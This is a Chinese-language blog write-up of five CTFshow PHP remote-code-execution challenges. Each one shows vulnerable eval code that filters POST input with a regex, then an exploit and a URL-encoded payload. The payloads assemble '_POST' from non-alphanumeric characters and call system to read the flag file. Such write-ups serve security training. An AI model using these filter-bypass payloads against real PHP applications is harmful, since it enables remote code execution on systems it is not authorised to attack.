CTFshow-PHP-RCE – My Blog

CTFshow-PHP-RCE

2023-3-09 23:44

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481

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2023-3-09 23:44

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JBNRZ

188 字

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8 分钟

本文最后更新于 820 天前，其中的信息可能已经有所发展或是发生改变。

RCE 1

challenge

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

exp

code=echo `$_POST[1]`;&1=cat /f*

RCE 2

challenge

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

exp

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);

payload

ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

RCE 3

challenge

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

exp

<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增，所以这一句结束的时候 $a是P，$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

payload

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE 4

challenge

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

exp

<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增，自增完成之后再将值返回，也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

payload

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE 5

challenge

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

exp

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

payload

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

68 字符

exp

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

payload

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

72 字符

exp

<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

payload

ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

CTFSHOW RCE WEB

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